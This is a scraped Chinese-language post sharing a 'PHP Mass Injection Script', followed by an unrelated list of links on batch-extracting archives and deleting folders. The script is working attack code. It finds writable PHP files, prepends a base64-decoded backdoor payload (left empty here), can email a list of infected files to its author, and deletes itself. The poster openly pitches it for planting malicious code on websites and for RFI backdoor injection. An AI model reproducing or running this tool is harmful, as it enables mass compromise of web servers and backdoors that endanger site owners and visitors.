php 批量删除挂马文件夹,PHP批量挂马脚本
批量写入档案脚本...
可以拿来挂马
也能拿来当RFI的后门注入
code都写明的,有需要的请自己看
后门写在$inj里面,要做base64 encode的Polymorphic
不希望这个东西被搞破坏的人拿去玩
懂原理的就自个儿收下吧
set_time_limit(0);
ignore_user_abort(1);
# PHP Mass Injection Script by f3v3r ver.228
# |1| Look for PHP in directory.|2| Check injected.
# |3| Inject script. |4|Can email report to you.
$inj ='';
$log_email = 0;//change 1 enable, somehow they can trace you by this way.
$email = 'f3v3r@cc.cc';
$log_report = 1;
$filename = '__log.html';
$delete_me = 1;
echo '
f3v3r injection toolzDefacez aint hack, r00tz r.
';
$dir = opendir('.');
$site=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
while ($file = readdir($dir))
{
if (strstr($file, '.php') && is_writeable($file))
{
$victim = fopen($file, 'r+');
$victim_read = fread($victim, filesize($file));
if (!strstr($victim_read, 'f3v3r'))
{
fclose($victim);
unlink($file);
$new = fopen($file, 'a+');
$new_write = fwrite($new, base64_decode($inj) . $victim_read);
fclose($new);
echo '[-] injecting : ' . $site . '
';
echo '[x] injected: ' . $file . '
';
if($log_email) { $log = fopen('__tmp', 'a+'); fwrite($log, '[x] File: ' . getcwd() . $file . '
'); fclose($log); }
if($log_report) { $x = fopen($filename, 'a+'); fwrite($x, '[x] File: ' . getcwd() . $file . '\n'); fclose($x); }
}
}
}
closedir($dir);
if($log_email) { $report = file_get_contents('__tmp'); mail($email, "injection report", '
f3v3r
' .$report, 'From: f3v3r '); unlink('__tmp'); echo '[x] Email Report Sent!';}
if($delete_me) { unlink(__file__); }
exit;
?>
MD5 checksum:DE734BDAC73E6ECE8DD3DB40416976E8
#f3v3r
附件: injection.rar (1.52 KB)
php 批量删除挂马文件夹,PHP批量挂马脚本相关推荐
- linux 批量解压gz文件夹,linux 批量解压gz bz2文件
一.批量解压bz2文件 find -maxdepth 1 -name "*.bz2"|xargs -i tar xvjf {} 这条命令可解压当前目录下的所有bz2文件 批量解压是 ...
- Python练习题:批量删除多个文件夹内的相同文件
应用场景: 下载的多个文件夹是压缩包,解压后每个文件夹都有某个网站的推广链接,想要批量的删除该文件 使用环境:win7,python3.6 代码: 1.直接用for循环 由于os.walk()方法自带 ...
- Python小练习:批量删除多个文件夹内的相同文件
应用场景: 下载的多个文件夹是压缩包,解压后每个文件夹都有某个网站的推广链接,想要批量的删除该文件 代码: 1.直接用for循环 由于os.walk()方法自带深度遍历功能,这里直接使用for循环即可 ...
- 在Linux系统下, 可以用一个命令很容易批量删除.svn的文件夹
find . -name .svn -type d -exec rm -fr {} \;
- ubuntu18批量解压和删除压缩包以及文件夹操作
ubuntu18批量解压缩包 1 批量解压压缩包 1.1 第一种方法:xargs传参 1.2 第二种方法:for循环 2 解压单个压缩包 3 删除指定后缀文件 4 一个文件夹移动到另一个文件夹 4.1 ...
- 电脑文件夹怎么批量重命名
不管你做什么工作,不管你能力如何,只要你有爱岗敬业的精神,才能把工作做好.那么你面对电脑文件夹是怎么管理的呢?你是否会定期对电脑文件夹进行批量重命名整理?其实对电脑文件夹的整理也是我们工作中很重要的一 ...
- linux无法删除mount挂载文件夹
文章目录 一.问题描述: 二.解决方案 三.总结 一.问题描述: 我是非root的服务器账号,因为始终无法访问某个sshfs的挂载文件夹,于是想取消挂载后重新挂载.但是取消挂载时,所有对该文件的命令均 ...
- windows OneDrive 同步任意文件夹 同步被挂起
参考文章:同步挂起问题解决 – Onedrive使用mklink实现同步任意文件夹 网上大部分的都是:mklink /d <你的onedrive同步目录>\workspace\ D:\wo ...
- 如何删除 Windows.old 文件夹
在对 windows 系统进行升级之后,发现在 C 盘里多出了一个 Windows.old 的文件夹,这时我们直接用点击它进行删除是没有权限的,不能进行删除,那么,怎么样才能对它进行删除呢?方法有很多 ...
最新文章
- 函数的四种调用模式.上下文调用.call.apply
- 软件体系架构模式之三微内核体系架构
- ssh_config sshd_config 详解
- 【死磕Java并发】—–深入分析synchronized的实现原理
- 导航模块自带的rtk算法_这款百元国产RTK板卡要改变高精度定位市场格局吗?
- BZOJXXXX: [IOI2000]邮局——四边形不等式优化初探
- SAP Spartacus的自定义路由
- 操作系统实验读者写者程序源码_SAST Weekly | STM32F103系列开发板移植华为LiteOS操作系统...
- c# vscode 配置_用VS Code写C#
- 转:	android apk 防止反编译技术(1~5连载)
- 推荐:年度巨献:《Ubuntu桌面生存指南》(作者:ghosert)
- ArcGIS Runtime SDK for Android 加载shp数据,中文乱码问题
- Multisim14仿真使用汇总
- windows下ping端口
- 精品Uniapp的餐厅餐馆饮订餐点餐管理系统实现的App
- 计算机网页设计与制作论文,网页设计与制作毕业论文
- JavaScript斐波那契数列兔子问题
- java编程:对两个分数进行简单的算术运算
- cpu占用高 mongo_记一次 MongoDB 占用 CPU 过高问题的排查
- 使用OpenCV读取摄像头图像并显示
热门文章
- keras + tensorflow —— 文本处理
- python 在线培训费用-python培训班费用
- python从入门到精通-Python从入门到精通
- 如何自学python知乎-你们都是怎么学 Python 的?
- python画雷达图-python使用matplotlib绘制雷达图
- python中文版软件下载-Python IDLE(Python集成开发环境)v3.7中文版
- python代码翻译器-我用40行python代码写一个桌面翻译器,很nice
- python怎么读取csv文件-python如何读取csv数据
- 一种基于说话人识别和数字语音识别的身份认证方法与流程
- R-查询子段元素和 提前储存